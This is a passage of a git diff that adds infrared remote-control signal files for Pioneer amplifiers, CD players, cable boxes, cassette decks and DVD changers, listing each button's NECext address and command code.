index 000000000..0377939d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 08 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0B 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0D 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0E 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 1C 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 40 00 00 00 +# +name: CH._LEVEL_- +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 41 00 00 00 +# +name: CH._LEVEL_+ +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 42 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 47 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4C 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4E 00 00 00 +# +name: CH_SELECT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 56 00 00 00 +# +name: ATT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5E 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5E 00 00 00 +# +name: RIGHT_CURSOR +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 82 00 00 00 +# +name: LEFT_CURSOR +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 83 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 84 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 85 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 9B 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 9F 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 9F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: C0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: D1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: D6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir new file mode 100644 index 000000000..4f82532ec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir @@ -0,0 +1,524 @@ +Filetype: IR signals file +Version: 1 +# +name: 10 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: OUTPUT_+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: PROGRAM_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: SONG_UP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: SONG_DOWN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: STBY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1D 00 00 00 +# +name: DISC_UP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1D 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1E 00 00 00 +# +name: D1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1E 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1F 00 00 00 +# +name: D2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1F 00 00 00 +# +name: TRACK_SET +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 40 00 00 00 +# +name: DISC_SET +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 41 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 43 00 00 00 +# +name: TIME/CHAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 43 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 45 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 49 00 00 00 +# +name: RANDOM_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 50 00 00 00 +# +name: D3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 50 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 53 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 53 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 57 00 00 00 +# +name: D5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 57 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5B 00 00 00 +# +name: D6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5B 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5D 00 00 00 +# +name: HI_LITE_SCAN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 +# +name: HI-LITLE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 +# +name: HI-LITE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 81 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 92 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 93 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 94 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 95 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9C 00 00 00 +# +name: ADLC +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C0 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C0 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: M2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: M3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: DISC_DOWN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: BEST +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: TITLE_DISPLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: TITTLE_SEARCH +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir new file mode 100644 index 000000000..d80b9daef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_I<< +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: SKIP_>>I +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1E 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 45 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 49 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 50 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 50 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 53 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 57 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5B 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5D 00 00 00 +# +name: HI-LITE_SCAN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir new file mode 100644 index 000000000..5ef78c501 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: A8 28 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 28 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir new file mode 100644 index 000000000..5fc26cb87 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir new file mode 100644 index 000000000..082797e3e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 0B 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 0D 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 11 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 14 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 15 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 1D 00 00 00 +# +name: C/R +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 1E 00 00 00 +# +name: AUTH +type: parsed +protocol: NECext +address: AC 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir new file mode 100644 index 000000000..a6589e498 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 01 00 00 00 +# +name: D._SKIP +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 06 00 00 00 +# +name: FF_>>> +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 10 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 10 00 00 00 +# +name: REW_<<< +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 11 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 11 00 00 00 +# +name: REC._MUTE +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 12 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 14 00 00 00 +# +name: PLAY_< +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 15 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 16 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 17 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 18 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 1E 00 00 00 +# +name: ALL_REWIND +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 1F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 42 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 44 00 00 00 +# +name: COUNTER_MODE +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 47 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 48 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir new file mode 100644 index 000000000..8636497a8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: C._MEM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: L._MEM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP/SLOW_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP/SLOW_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TOP_M +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: PREV._TRACK +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir new file mode 100644 index 000000000..e6f5bffb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F4 00 00 00 